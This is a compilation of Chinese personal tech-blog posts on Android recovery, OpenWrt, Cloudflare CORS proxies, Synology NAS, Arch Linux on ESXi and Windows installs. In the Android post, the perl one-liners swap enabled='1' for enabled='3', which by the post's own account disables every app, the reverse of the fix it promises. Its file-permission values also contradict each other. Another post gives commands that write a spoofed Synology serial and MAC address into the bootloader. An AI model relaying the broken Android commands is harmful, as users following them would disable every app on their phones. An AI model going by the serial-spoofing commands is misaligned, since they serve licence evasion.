前言 办法很多,我记得我很早之前弄的时候有一种简便方法,但时间一长不太记得清,碰巧正好遇到个朋友有这个问题,于是记录一下解决过程. 碰巧遇到Android 12新特性:XML优化成Binary XML了.文件大小减少了大约2.4倍,读取速度提高了4.3倍.更多参考Android ABX 坏处就是修改起来有点麻烦了.😅不过问题不大,版本低于12的修改起来简单多了.所以修改版本>=12的话前提第3点就尤为重要. 虽然本人之前搞Android系统比较熟练,但毕竟转IOS很久了.不是特别熟悉了😂 冻结错误开不机一般问题表现为卡二屏(即跳过一屏加载引导画面),这种问题可以初步确认是系统问题. 如果只是二屏加载时间长,可以查看magsik模块是否过多等等 不玩Android了,不多说了 本方法前提(前3点必备): 解锁BootLoader (如果你是华为手机,除了交钱有可能解决外基本上没其他办法了. 另外,华为手机不配搞机.原因有很多. ) 刷入支持解密的第三方REC(Recovery) 有一定智力基础和动手能力. (可选,如果满足更简单些)支持连接你手机的数据线,支持连接手机的PC且正确安装了相关驱动程序并(也是可选的:)正确配置了ADB 解决过程 进入恢复模式(Recovery Mode) 电源+音量上键.出现画面松开电源键即可.(本操作可能不是对所有机型适用,至少对大部分手机是适用的.) 满足前提第4点但未配置ADB: 自行操作: 将/data/system/users/0/package-restrictions.xml(0是指的userid)复制到/sdcard(主要是方便在电脑上修改) 然后将此文件(如图所示)复制到电脑上进行下面的修改. 如果你的安卓版本低于12或xml未采用abx格式: 打开此文件,你会看到一些受限制的应用的包名和应用的状态等.比如某个APP处于disable状态,或者某个APP具有更高的优先级等 我们主要关注它的状态即enabled的值. 数字为3时是禁用状态,为1时是状态正常.如果你清楚冻结了某个应用而无法开机的包名,只需修改出问题的即可.而不必全部修改. 如果不清楚,将全部enabled=“3”替换为enabled="1"即可. 修改完成后将文件覆盖回去,然后再剪切并覆盖到/data/system/users/0/package-restrictions.xml并修改它的权限为-rw-rw----(即只有Owner和Group有读Read和写Write权限其余都没有.)数字表示:0600 然后重启即可解决问题. 如果你的安卓版本>=12或xml采用abx格式: 下载该开源项目 使用Python通过命令来将abx转化可读的xml 然后参考上面👆的修改方式进行修改即可. 修改完后, 使用Java通过运行Main.java带上参数(可读xml的文件路径)转化为abx格式然后再覆盖回去.之后操作.参考上面👆 以下为我使用IntelliiJ IDEA运行的命令和相关截图.仅供参考! 1 /Library/Java/JavaVirtualMachines/jdk-17.0.1.jdk/Contents/Home/bin/java -javaagent:/Applications/IntelliJ IDEA.app/Contents/lib/idea_rt.jar=49316:/Applications/IntelliJ IDEA.app/Contents/bin -Dfile.encoding=UTF-8 -classpath /Users/lanyun/Downloads/makeabx/src/out/production/makeabx com.ccl.abxmaker.Main /Users/lanyun/Downloads/ccl_abx/package-restrictions.xml 满足前提第4点且配置ADB: 如果你的安卓版本>=12或xml采用abx格式请参考上面👆的办法解决. 方法一: pull拉取文件,命令运行. 1 adb -d pull /data/system/users/0/package-restrictions.xml xx(为你的目录,例如C:\或者.即当前目录) 参考上面👆内容修改后再push回去. 1 2 3 adb -d push “xx(本地xml文件的路径)” /data/system/users/0/ chmod 0660 package-restrictions.xml reboot #重启完成✅ 方法二(本人未试过,理论可行): adb shell pm list packages 打印设备上的所有软件包,若使用–user参数则查询用户的空间的包 adb shell pm list packages -d 输出被禁用的软件包 冻结(禁用)应用命令:adb shell pm disable-user +应用名 解冻(启用)应用命令:adb shell pm enable +应用名 其他ADB命令自行搜索🔍. 方法三: 运行以下命令 1 2 3 4 adb shell#之后命令需以root身份运行.若不是root身份可能需要su一下 cd /data/system/users/0/ find ./ -name 'package-restrictions.xml' | xargs perl -pi -e 's|enabled="1"|enabled="3"|g' reboot 不满足前提第4点: 如果你的安卓版本>=12或xml采用abx格式请参考上面👆的办法解决. 可用在REC终端中使用以下命令解决. 1 2 3 cd /data/system/users/0/ find ./ -name 'package-restrictions.xml' | xargs perl -pi -e 's|enabled="1"|enabled="3"|g' reboot 其他简易解决办法 直接重刷一遍完整包就行了,数据啥的都不会丢失. 不想要数据的话,双清也能行.

2022/8/23
articleCard.readMore

OpenWrt修改登陆用户名

前言 在有公网的情况下,将OpenWrt的web网页管理界面暴露出来是比较危险的. 而默认的用户名是root且不支持通过UI修改.本文记录一下修改过程. username代表你想要的用户名.建议先看下面问题第一点的隐藏部分. ⚠️注意: 本文包含修改root用户名操作,但实际情况是没了root用户会出现某些奇怪问题,包括但不限于无法ssh连接,无法操作文件等 (实际上: 水平不够,文件修改不全,欢迎大佬解决.) .故建议新增一个和root用户同级的权限,并关闭ssh密码验证改为密钥验证,不允许 root 用户凭密码登录等安全措施.需要注意的文件: passwd shadow (后来发现,不是修改用户名的锅,) 修改 1 2 cd /etc/ vim passwd 将root:x:0:0:root:/root:/bin/ash修改为username:x:0:0:root:/root:/bin/ash 注: 若你编译有bash,推荐将ash改为bash 1 vim shadow 将root:xxxxxx:0:0:99999:7:::修改为username:xxxxxx:0:0:99999:7::: 1 2 cd config/ vim rpcd 将 option username 'root' 改成 option username 'username' 将 option password '$p$root' 改成 option password '$p$username' 1 2 cd /usr/lib/lua/luci/controller/admin/ vim index.lua 将sysauth = "root"修改为sysauth = "username" 1 vim servicectl.lua entry({"servicectl"},alias("servicectl","status")).sysauth="root" 改为: entry({"servicectl"},alias("servicectl","status")).sysauth="username" 在登陆界面取消自动填写用户名: 1 2 cd /usr/lib/lua/luci/view/ vim sysauth.htm <input class="cbi-input-user" type="text" name="luci_username" value="<%=duser%>" /> 改为 <input class="cbi-input-user" type="text" name="luci_username" value="" /> 另外,还需在对应主题中修改.例如主题:argo 1 vim themes/argo/sysauth.htm <input class="cbi-input-user" type="text" name="luci_username" value="<%=duser%>" /> 改为 <input class="cbi-input-user" type="text" name="luci_username" value="" /> 最后重启即可 1 reboot 存在的问题: 在任何界面都有这个提示: 不过如果在passwd和shadow不删除root用户而是新增用户就不会有这个提示了(现在才说会不会有点晚😂) 未设置密码! 尚未设置密码。请为 root 用户设置密码以保护主机并启用 SSH。 每次更新后部分内容需重新设置,建议通过密钥免密登陆(),修改完重启即可继续用. 编译时修改 1 2 3 4 5 6 7 8 9 10 11 12 13 14 vim ./package/base-files/files/etc/passwd vim ./package/base-files/files/etc/shadow vim ./feeds/luci/modules/luci-mod-admin-full/luasrc/controller/admin/index.lua vim ./feeds/luci/modules/luci-mod-admin-mini/luasrc/controller/mini/index.lua # 将age.sysauth = "root" 换成age.sysauth = "username" vim ./feeds/luci/modules/luci-base/luasrc/controller/admin/servicectl.lua # 将sysauth = "root" 换成 sysauth = "lanyun" vim ./package/system/rpcd/files/rpcd.config # 将 option username 'root' 改成 option username 'username' # 将 option password '$p$root' 改成 option password '$p$username' vim ./feeds/luci/modules/luci-base/luasrc/view/sysauth.htm #<input class="cbi-input-user" type="text" name="luci_username" value="<%=duser%>" /> #改为 #<input class="cbi-input-user" type="text" name="luci_username" value="" /> 如果用的是kenzo中的主题``argon`,可用下面代码,其他主题仅供参考. 1 2 3 4 vim ./feeds/kenzo/luci-theme-argon/luasrc/view/themes/argon/sysauth.htm #<input class="cbi-input-user" type="text" name="luci_username" value="<%=duser%>" /> #改为 #<input class="cbi-input-user" type="text" name="luci_username" value="" /> 如果主题是argone,可用下面代码,其他主题仅供参考. 1 vim ./feeds/kenzo/luci-theme-argone/luasrc/view/themes/argone/sysauth.htm

2022/8/22
articleCard.readMore

通过CloudFlare Workers解决API的跨域CORS问题

前言 本文原本为解决博客上时钟API出现的跨域CORS问题,但通过Servicerwoker优化后便不在存在此问题. 故本文仅做记录📝. 本文代码来着于 GitHub 项目cloudflare-cors-anywhere 设置Workers 点击 创建服务 名称随便.例如cors 点击 快速编辑 复制以下代码. 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 /* CORS Anywhere as a Cloudflare Worker! (c) 2019 by Zibri (www.zibri.org) email: zibri AT zibri DOT org https://github.com/Zibri/cloudflare-cors-anywhere */ /* whitelist = [ "^http.?://www.zibri.org$", "zibri.org$", "test\\..*" ]; // regexp for whitelisted urls */ blacklist = [ ]; // regexp for blacklisted urls whitelist = [ ".*" ]; // regexp for whitelisted origins function isListed(uri,listing) { var ret=false; if (typeof uri == "string") { listing.forEach((m)=>{ if (uri.match(m)!=null) ret=true; }); } else { // decide what to do when Origin is null ret=true; // true accepts null origins false rejects them. } return ret; } addEventListener("fetch", async event=>{ event.respondWith((async function() { isOPTIONS = (event.request.method == "OPTIONS"); var origin_url = new URL(event.request.url); function fix(myHeaders) { // myHeaders.set("Access-Control-Allow-Origin", "*"); myHeaders.set("Access-Control-Allow-Origin", event.request.headers.get("Origin")); if (isOPTIONS) { myHeaders.set("Access-Control-Allow-Methods", event.request.headers.get("access-control-request-method")); acrh = event.request.headers.get("access-control-request-headers"); //myHeaders.set("Access-Control-Allow-Credentials", "true"); if (acrh) { myHeaders.set("Access-Control-Allow-Headers", acrh); } myHeaders.delete("X-Content-Type-Options"); } return myHeaders; } var fetch_url = decodeURIComponent(decodeURIComponent(origin_url.search.substr(1))); var orig = event.request.headers.get("Origin"); var remIp = event.request.headers.get("CF-Connecting-IP"); if ((!isListed(fetch_url, blacklist)) && (isListed(orig, whitelist))) { xheaders = event.request.headers.get("x-cors-headers"); if (xheaders != null) { try { xheaders = JSON.parse(xheaders); } catch (e) {} } if (origin_url.search.startsWith("?")) { recv_headers = {}; for (var pair of event.request.headers.entries()) { if ((pair[0].match("^origin") == null) && (pair[0].match("eferer") == null) && (pair[0].match("^cf-") == null) && (pair[0].match("^x-forw") == null) && (pair[0].match("^x-cors-headers") == null) ) recv_headers[pair[0]] = pair[1]; } if (xheaders != null) { Object.entries(xheaders).forEach((c)=>recv_headers[c[0]] = c[1]); } newreq = new Request(event.request,{ "redirect": "follow", "headers": recv_headers }); var response = await fetch(fetch_url,newreq); var myHeaders = new Headers(response.headers); cors_headers = []; allh = {}; for (var pair of response.headers.entries()) { cors_headers.push(pair[0]); allh[pair[0]] = pair[1]; } cors_headers.push("cors-received-headers"); myHeaders = fix(myHeaders); myHeaders.set("Access-Control-Expose-Headers", cors_headers.join(",")); myHeaders.set("cors-received-headers", JSON.stringify(allh)); if (isOPTIONS) { var body = null; } else { var body = await response.arrayBuffer(); } var init = { headers: myHeaders, status: (isOPTIONS ? 200 : response.status), statusText: (isOPTIONS ? "OK" : response.statusText) }; return new Response(body,init); } else { var myHeaders = new Headers(); myHeaders = fix(myHeaders); if (typeof event.request.cf != "undefined") { if (typeof event.request.cf.country != "undefined") { country = event.request.cf.country; } else country = false; if (typeof event.request.cf.colo != "undefined") { colo = event.request.cf.colo; } else colo = false; } else { country = false; colo = false; } return new Response( "CLOUDFLARE-CORS-ANYWHERE\n\n" + "Source:\nhttps://github.com/Zibri/cloudflare-cors-anywhere\n\n" + "Usage:\n" + origin_url.origin + "/?uri\n\n" + "Donate:\nhttps://paypal.me/Zibri/5\n\n" + "Limits: 100,000 requests/day\n" + " 1,000 requests/10 minutes\n\n" + (orig != null ? "Origin: " + orig + "\n" : "") + "Ip: " + remIp + "\n" + (country ? "Country: " + country + "\n" : "") + (colo ? "Datacenter: " + colo + "\n" : "") + "\n" + ((xheaders != null) ? "\nx-cors-headers: " + JSON.stringify(xheaders) : ""), {status: 200, headers: myHeaders} ); } } else { return new Response( "Create your own cors proxy</br>\n" + "<a href='https://github.com/Zibri/cloudflare-cors-anywhere'>https://github.com/Zibri/cloudflare-cors-anywhere</a></br>\n" + "\nDonate</br>\n" + "<a href='https://paypal.me/Zibri/5'>https://paypal.me/Zibri/5</a>\n", { status: 403, statusText: 'Forbidden', headers: { "Content-Type": "text/html" } }); } } )()); }); 粘贴代码替换存在的代码,然后保存并部署即可. Tips 代码中可以设置请求的黑白名单 当然也可以设置为whitelist = [ ".*" ],这样的任何人都可以使用了 然而免费版本的每天只有10万次请求,如果用的人多了很容易就用完了,所以还是建议大家设置 whitelist. 用法 首先,查看路由地址 假定我们的API链接为: https://xx.xxx.com/cityjson?ie=utf-8 那么请求的链接为: https://cors.xxx.workers.dev/?https://xx.xxx.com/cityjson?ie=utf-8 建议自己搭建,因为用量有限制.

2022/8/16
articleCard.readMore

解决MAC使用SMB连接NAS出现无可用项目的问题

前言 这个问题,互联网搜索,查官方文档都找不到任何与之相似的问题. 花费了较多时间排查问题. 例如: 更换用户排除用户环境影响. 通过控制台,定位com.apple.NetAuthAgent子系统中进程NetAuthSysAgent进行跟踪分析. 最终把问题定位到NAS上的一项设置上. 出错内容: 连接到服务器“LanYunDisk”时出现问题. 没有可用的共享项目,或者不允许你访问该服务器上的共享项目。请联系你的系统管理员以解决该问题。 解决办法🎉 关闭“网上邻居”隐藏此共享文件夹和文件,即可解决问题. 正是因为开启了这个而导致Mac的SMB无法获取到共享的文件夹.

2022/8/13
articleCard.readMore

群晖Synology使用frp内网穿透获取访问者真实IP

前言 由于使用openwrt中Frp内网穿透Nas地址后,通过登陆log日志都是路由器的ip,无法封锁真实用户ip. 本文解决此问题,且针对黑群晖未洗白而言的 我洗白了的,哈哈 .白群晖可以直接用QuickConnect来远程连接. 开启Proxy-Protocol 开启openwrt中Frp对应内网ip里面Proxy-Protocol. 修改real_ip_header ssh连上群晖 1 2 cd /usr/syno/share/nginx vim nginx.mustache 找到 real_ip_header X-Forwarded-For; 在前面加 # 来注释掉原有的header头,在下面增加一行: 1 real_ip_header proxy_protocol; 修改DSM.mustache 1 2 sudo -i #切换为root用户 vim DSM.mustache 第1个server段里就是群辉默认5000端口的配置,在default_server后面加上proxy_protocol 第4个server段里就是5001端口配置,在default_server ssl后面同样加上proxy_protocol 重启服务 1 synoservicecfg --restart nginx #重启nginx 以上修改完成后,只能通过frp访问,因为proxy protocol实际上是在建立连接前先发送一个带有realip等信息的包,如果不通过代理去访问(比如内网直接输入ip访问),就没有这个包,就会报错打不开页面. 优化版 内网使用http采用X-Forwarded-For来获取ip 而外网使用https采用proxy protocol来获取真实ip 修改real_ip_header时,将 1 2 3 4 #real_ip_header X-Forwarded-For; #real_ip_header proxy_protocol; #real_ip_recursive on; #set_real_ip_from 127.0.0.1; 修改DSM.mustache,删除第一个server块中刚刚加的proxy_protocol,在listen下面增加 1 2 3 real_ip_header X-Forwarded-For; real_ip_recursive on; set_real_ip_from 127.0.0.1; 同理,在第四个server块的listen下面增加以下内容 1 2 3 real_ip_header proxy_protocol; real_ip_recursive on; set_real_ip_from 127.0.0.1; 然后重启Nginx即可.

2022/8/12
articleCard.readMore

ESXI下精简安装ArchLinux

前言 简单记录一下安装过程.以下内容大部分取取自于此文章,本文是对ESXI下安装虚拟机基于本人体验而定向修改了下. 以下为UEFI模式启动.取消了安全UFEI引导 更新系统时钟 1 timedatectl set-ntp true #将系统时间与网络时间进行同步 分区 EFI 分区 512MB SWAP 分区 4G 根目录 分区 剩余全给 (如果需要给普通用户home的话可以再建) 首先将磁盘转换为 gpt 类型,这里假设比如你想安装的磁盘名称为 sdx。如果你使用 NVME 的固态硬盘,你看到的磁盘名称可能为 nvme0n1。 1 lsblk #显示分区情况 找到你想安装的磁盘名称 接下来使用 cfdisk 命令对磁盘分区。进入 cfdisk 后的操作很直观,用键盘的方向键、Tab 键、回车键配合即可操作分配各个分区的大小与格式。一般建议将 EFI 分区设置为磁盘的第一个分区,据说有些主板如果不将 EFI 设置为第一个分区,可能有不兼容的问题。其中 EFI 分区选择EFI System类型,其余两个分区分别选择Linux swap, Linux filesystem类型。 1 2 cfdisk /dev/sdx #来执行分区操作,分配各个分区大小,类型 fdisk -l #分区结束后, 复查磁盘情况 分好后,如图所示 格式化 建立好分区后,需要对分区用合适的文件系统进行格式化。这里用mkfs.ext4命令格式化Linux filesystem类型的分区,用mkfs.vfat命令格式化 EFI 分区。如下命令中的 sdax 中,x 代表分区的序号。格式化命令要与上一步分区中生成的分区名字对应才可以。 磁盘若事先有数据,会提示你: ‘proceed any way?’ 按 y 回车继续即可。 1 2 3 4 mkfs.ext4 /dev/sdax #格式化根目录分区 mkfs.vfat /dev/sdax #格式化efi分区 mkswap /dev/sdax #格式化swap swapon /dev/sdax #启用swap 挂载 在挂载时,挂载是有顺序的,先挂载根分区,再挂载 EFI 分区。 这里的 sdax 只是例子,具体根据你自身的实际分区情况来。 1 2 3 mount /dev/sdax /mnt mkdir /mnt/efi #创建efi目录 mount /dev/sdax /mnt/efi 添加国内镜像源(可选) 可选,但不推荐.推荐走代理以避免使用国内的镜像等服务. 使用如下命令编辑镜像列表: 1 vim /etc/pacman.d/mirrorlist 其中的首行是将会使用的镜像源。添加中科大或者清华的放在最上面即可。 1 2 Server = https://mirrors.ustc.edu.cn/archlinux/$repo/os/$arch Server = https://mirrors.tuna.tsinghua.edu.cn/archlinux/$repo/os/$arch 如果其速度不佳,可以手动指定其他镜像源。完整的镜像源列表可参考官方镜像源生成器。 镜像源(如 arch linux 清华镜像源)以及第三方源(如 archlinux-cn)可以知道你的 ip 是什么,什么时候更新了系统,什么时候检查了系统,什么时候更新了什么软件,你安装的软件列表是什么。在威权国家的镜像源维护者完全有可能根据威权当局的要求提供这些数据,很多维护者在网络上几乎是实名上网的,他们没有任何抵抗能力,进一步的,威权国家可以根据这些元数据与你产生的其他元数据进行比对,从而对你进行进一步的定位与辨识。简单举一个例子,要求维护者提供或监视安装了 v2ray/qv2ray 等软件包的使用者的 ip,以及安装时间,以及其全部软件列表。 如果你在安装 arch linux 时的网络已经处于代理模式下,可以选择一个与你代理位置较近的,非威权国家的镜像源来使用。如果你在安装 arch linux 时的网络环境没有代理,那么在安装结束后,需要尽快更换一个非威权国家的镜像源来使用。如下列举一些较为优质的国际源。 1 2 3 4 5 Server = https://mirror.archlinux.tw/ArchLinux/$repo/os/$arch #东亚地区:中华民国 Server = https://mirror.0xem.ma/arch/$repo/os/$arch #北美洲地区:加拿大 Server = https://mirror.aktkn.sg/archlinux/$repo/os/$arch #东南亚地区:新加坡 Server = https://archlinux.uk.mirror.allworldit.com/archlinux/$repo/os/$arch #欧洲地区:英国 Server = https://mirrors.cat.net/archlinux/$repo/os/$arch #东亚地区:日本 安装系统 部分是可选的 1 pacstrap /mnt base base-devel linux linux-headers dhcpcd vim open-vm-tools gtkmm3 net-tools asp wget openssh 生成 fstab 文件 fstab 用来定义磁盘分区 1 genfstab -U /mnt >> /mnt/etc/fstab 可选: 复查一下 /mnt/etc/fstab 确保没有错误 1 cat /mnt/etc/fstab 环境切换 把环境切换到新系统的/mnt 下 1 arch-chroot /mnt 时区设置 设置时区,在/etc/localtime 下用/usr 中合适的时区创建符号连接。如下设置上海时区。 1 ln -sf /usr/share/zoneinfo/Asia/Shanghai /etc/localtime 时间设置 随后进行硬件时间设置,将当前的正确 UTC 时间写入硬件时间。 1 2 timedatectl set-ntp true #将系统时间与网络时间进行同步,此设置在完成安装后执行 hwclock --systohc --utc # 使用 UTC 时间 语言设置 Locale 决定了地域、货币、时区日期的格式、字符排列方式和其他本地化标准。 首先使用 vim 编辑 /etc/locale.gen,去掉 en_US.UTF-8 所在行以及 zh_CN.UTF-8 所在行的注释符号(#)。这里需要使用 vim 的寻找以及编辑功能,如果你忘记了,请翻到上一节复习 vim 的操作。 1 vim /etc/locale.gen# 反注释 en_US.UTF-8 和 zh_CN.UTF-8 然后使用如下命令生成 locale。 1 locale-gen 最后向 /etc/locale.conf 导入内容 1 echo 'LANG=en_US.UTF-8' > /etc/locale.conf# 设置默认 locale 网络设置 1 systemctl enable dhcpcd.service # 设置为自动启动 设置主机名 首先在/etc/hostname设置主机名 1 vim /etc/hostname 加入你想为主机取的主机名,这里比如叫 myarch。 接下来在/etc/hosts设置与其匹配的条目。 1 vim /etc/hosts 加入如下内容 1 2 3 127.0.0.1 localhost ::1 localhost 127.0.1.1 myarch 某些情况下如不设置主机名,在 KDE 下可能会存在网络情况变更时无法启动 GUI 应用的问题,在终端中出现形如No protocol specified qt.qpa.xcb: could not connect to display的错误,这种情况较为少见[3][4][5]。 为 root 用户设置密码 1 passwd root 安装微码 1 2 pacman -S intel-ucode #Intel pacman -S amd-ucode #AMD 安装引导程序 1 2 pacman -S grub efibootmgr #grub是启动引导器,efibootmgr被 grub 脚本用来将启动项写入 NVRAM。 grub-install --target=x86_64-efi --efi-directory=/efi --bootloader-id=GRUB 接下来编辑/etc/default/grub 文件,去掉GRUB_CMDLINE_LINUX_DEFAULT一行中最后的 log level 参数 同时在同一行加入 nowatchdog 参数,这可以显著提高开关机速度. 1 vim /etc/default/grub 另外,GRUB_TIMEOUT=5意思是开机引导时间为5秒,这里建议改为1秒(看个人喜好). 最后生成 GRUB 所需的配置文件 1 grub-mkconfig -o /boot/grub/grub.cfg 完成安装 1 2 3 exit # 退回安装环境# umount -R /mnt # 卸载新分区 reboot # 重启 相关配置 Open-VM-Tools 可选,非必要: 先尴尬地查看下系统状态 1 systemctl status 然后启动Open-VM-Tools相关服务并设置为开机启动 1 2 systemctl enable --now vmtoolsd.service systemctl enable --now vmware-vmblock-fuse.service 可选,非必要: 然后看看都在运行没. 1 2 systemctl status vmtoolsd.service systemctl status vmware-vmblock-fuse.service 启动后,我们可以看到,支持ESXI的关机操作了~ Vim /etc/default/grub 官方 VMware Tools(强烈不推荐,建议忽略) 1 2 3 4 pacman -R open-vm-tools git clone https://github.com/rasa/vmware-tools-patches.git cd vmware-tools-patches ./patched-open-vm-tools.sh 系统升级 1 pacman -Syu 其他 删除软件包 删除单个软件包,保留其全部已经安装的依赖关系 1 pacman -R package_name 删除指定软件包,及其所有没有被其他已安装软件包使用的依赖关系: 1 pacman -Rs package_name 警告: 删除类似 gnome 这样的软件包组时,将会忽略组中软件包的安装原因,因为实际操作上执行的是逐一删除软件组的每一个软件,依赖软件包的安装原因不会被忽略。 上面这条命令在移除包含其他所需包的组时有时候会拒绝运行。这种情况下可以尝试 1 pacman -Rsu package_name 要删除软件包和所有依赖这个软件包的程序: 警告: 此操作是递归的,请小心检查,可能会一次删除大量的软件包。 1 pacman -Rsc package_name 要删除一个被其他软件包依赖的软件包,但是不删除依赖这个软件包的其他软件包: 警告: 此操作有破坏系统的能力,应该尽量避免使用。详情请看 避免某些 Pacman 命令。 1 pacman -Rdd package_name pacman 删除某些程序时会备份重要配置文件,在其后面加上*.pacsave扩展名。-n 选项可以避免备份这些文件: 1 pacman -Rn package_name 注意: pacman 不会删除软件自己创建的文件(例如主目录中的“点文件”不会被删除。) 清理软件包缓存 pacman 将下载的软件包保存在 /var/cache/pacman/pkg/ 并且不会自动移除旧的和未安装版本的软件包。这样做有一些好处: 这样允许降级软件包而不需要通过其他方式提取旧版本,例如 Arch Linux Archive. 被卸载的软件包可以轻易地直接从缓存文件夹重新安装,不需要重新从软件仓库下载。 然而,需要定期手动清理缓存来避免该文件夹无限制增大。 pacman-contrib 提供的 paccache(8) 脚本默认会删除所有缓存的版本和已卸载的软件包,除了最近的3个会被保留: 1 paccache -r# 需安装 pacman-contrib ,安装命令: pacman -S pacman-contrib 可以启用paccache.timer来每周删除不使用的包 1 systemctl enable --now paccache.timer 要删除目前没有安装的所有缓存的包,和没有被使用的同步数据库,执行: 1 pacman -Sc 删除缓存中的全部文件,使用两次-c开关。这是最为激进的方式,将会清空缓存文件夹: 1 pacman -Scc 更多信息请查看wiki

2022/8/11
articleCard.readMore

SSH修改黑群晖的SN和MAC(洗白)

前言 本文DSM版本为DSM 7.1-42661 Update 4 本文仅为本人提供命令记录📝.自行解决洗白所需的MAC和SN码(国行). 记得,先去官网添加SN码.本文只记录命令行操作. 开启SSH 连接SSH 1 2 ssh 用户名@ip -p 端口号 sudo -i #得到root用户权限,之后输入密码 1 2 3 4 5 mkdir -p /tmp/boot cd /dev mount -t vfat synoboot1 /tmp/boot/ cd /tmp/boot/boot/grub vi grub.cfg 进入后输入/mac找到要修改洗白的网络mac地址,再输入/sn找到要修改洗白的sn码. 之后保存退出(:wq). 最后重启(reboot)即可生效. 如果觉得vi操作太麻烦的话,可以用下面替换命令. 1 2 3 sed -i 's/sn=[0-9A-Z]\+/sn=你洗白的SN/g' grub.cfg sed -i 's/mac1=[0-9A-Z]\+/mac1=你洗白的MAC地址/g' grub.cfg sed -i 's/mac2=[0-9A-Z]\+/mac2=同上/g' grub.cfg

2022/8/11
articleCard.readMore

ESXI 7.0更换SSL证书📄

前言 由于有远程控制的需求,故打算采用域名访问软路由方式进行. 要想安全访问不被监听所以就需要配置SSL证书📄,本文记录主要过程. 开启SSH 备份证书 1 2 3 4 ssh root@esxi的管理地址 cd /etc/vmware/ssl cp rui.key rui.key.backup cp rui.crt rui.crt.backup 获取证书📄 本文以CloudFlare为例. 创建客户端证书 复制证书,保存为crt.pem 密钥为key.pem 上传证书 更换证书 在ssl目录下执行操作 1 2 3 4 cd /vmfs/volumes/datastore1/SSL cp crt.pem /etc/vmware/ssl/rui.crt #按y回车确认替换 cp key.pem /etc/vmware/ssl/rui.key reboot #重启或者重启服务services.sh restart

2022/8/5
articleCard.readMore

软路由ESXI虚拟机下安装精简版Windows

前言 由于本人Mac下PD虚拟机下Win11使用IDA直接调试有莫名其妙的问题,重置再重装后仍然存在,而远程调试没毛病. 故打算在软路由中新增一台Windows 10虚拟机来当作我的远程调试系统(前提你有公网IP和域名,没的话建议再买台WIn电脑💻解决) 但可惜,本人使用的软路由性能并不是很好.(J4125性能被迫用作计量单位) Windows不得不使用精简版. 如果你是官方镜像或精简版格式为iso或vmware esxi支持的格式.直接搞,不需要本教程. 可惜并不是所有的精简版格式都为iso.一般第三方封装格式为esd等. 本文以我选用的 【不忘初心】Windows10 21H2 (19044.1806) X64 无更新[深度精简版]1.23G.esd 为例(为啥不用Win7?因为IDA远程调试的时候,Win7里面没发复制粘贴或者说我弄不了) 这个精简包可惜不是骨灰级别,依然存在一些组件未被精简,应该是考虑过普通用户使用. 本包保留组件:打印、蓝牙、共享、微软账户、搜索、计算器、屏幕投影、平板模式、远程桌面、IE浏览器、画图、截图、防火墙、WMP、旧版组件等 等安装完后还要去除上面👆大部分用不上的(可通过Dism++去除,本文暂不展开) 本文思路挺简单:挂载pe镜像(本文演示为微pe镜像,其余pe镜像如优启通等同理可得),而pe镜像里面有精简版Windows 镜像准备 生成PE镜像 首先打开WePE,然后点右下角生成可启动ISO 然后配置好输出位置,自行设置后点立即生成ISO 提取映像WIM 将生成的ISO使用解压工具(例如7z)解压. 在路径WEPE下找到WIM格式的文件 挂载映像 打开对应操作系统版本的Dism++(点我去下载) 在右上角点击挂载映像 配置好WIN路径和挂载路径后,点击确定. 添加Windows镜像📃 将Windows镜像复制(或移动)到挂载路径中Program Files ,然后将esd后缀更改为exe 然后再另存为映像,选择好路径后点确定. 将文件名改为WEPE64.WIM然后替换之前解压出来的WEPE64.WIM文件 用UltraISO点我下载UltraISO_v9.7.6.3829(2021.08.11) 打开PE镜像,并在相应目录里替换掉我们修改的WIM文件,然后保存. 这样,我们就得到一个含有Windows镜像的PE镜像. 配置ESXI 点击 创建/注册虚拟机 然后按着图配置叭. 之后点 CD/DVD 驱动器 选择 主机设备数据存储 ISO 文件 再上传WePE64.iso到文件夹📁中.然后选中点选择. 然后下一步,再完成. 之后再打开电源🔌. TIPS:需4G,硬盘控制器位置需为SATA控制器 准备刷入 进入PE系统后,将这个exe文件📃改回原来的格式(为原来格式为esd) 然后打开Windows安装器,发现诶…硬盘没初始化. 于是打开分区工具给它简单地分个区. 开始刷入 都准备好就打开WinNTSetup开始刷入.点安装之后确认就开始啦. 很快就完成,出现这个就代表安装完成. 此时打开Dism++里面修复引导或者用其他工具(如果识别不是C盘,重启进入PE就是C盘了,然后再引导修复) 修复完成之后我们直接关机就好. 准备并开始安装进程 然后在esxi里面把PE镜像删了,然后切换为主机设备.(或者直接删除CD/DVD驱动器这个设备,然后将硬盘控制器切换成SATA 0:0) 然后再打开电源🔌.稍等一会就安装完成啦~ 小插曲:装完才发现是Win11😅,我以为朋友给我的是上面👆最开始提到的镜像.结果是这个版本【不忘初心】Windows11 22H2(22621.290)X64 无更新[深度精简版]1.27G 之后再关点Windows功能,然后再用些工具精简下就行了. 先看看安装完是什么样子嘛(现在显卡直通,貌似ESXI不太行,PVE好像可以诶.) 好啦,完结撒花🎉

2022/7/24
articleCard.readMore

Win11重置安装跳过账号登陆及其他问题修复

Win11重置安装跳过账号登陆及其他问题修复 方法一 shift + F10打开cmd 输入oobe\bypassnro 此文件📃实际上它是位于系统目录下的一个脚本文件,来修改注册表的 1 2 3 @echo off reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\OOBE /v BypassNRO /t REG_DWORD /d 1 /f shutdown /r /t 0 之后会重启,重启之前断网, 重启后在连接网络界面中点击 我没有 Internet 连接 即可绕过 方法二 在登陆账号界面, 随便输入账号,然后疯狂乱输密码然后重试. 之后会锁定你随便输入的账号.然后就可以绕过了 方法三 用rufus工具采用GPT分区类型刷入U盘,点开始会叫你是否移除账号登陆等. Windows Defender无法打开问题 PowerShell 管理员启动 输入Set-ExecutionPolicy Unrestricted 选 Y 回车 再次输入代码 Get-AppXPackage -AllUsers | Foreach {Add-AppxPackage -DisableDevelopmentMode -Register “$($_.InstallLocation)\AppXManifest.xml”} 再输入代码 Get-AppxPackage Microsoft.SecHealthUI -AllUsers | Reset-AppxPackage 最后输入 Get-AppxPackage Microsoft.SecHealthUI -AllUsers | Reset-AppxPackage 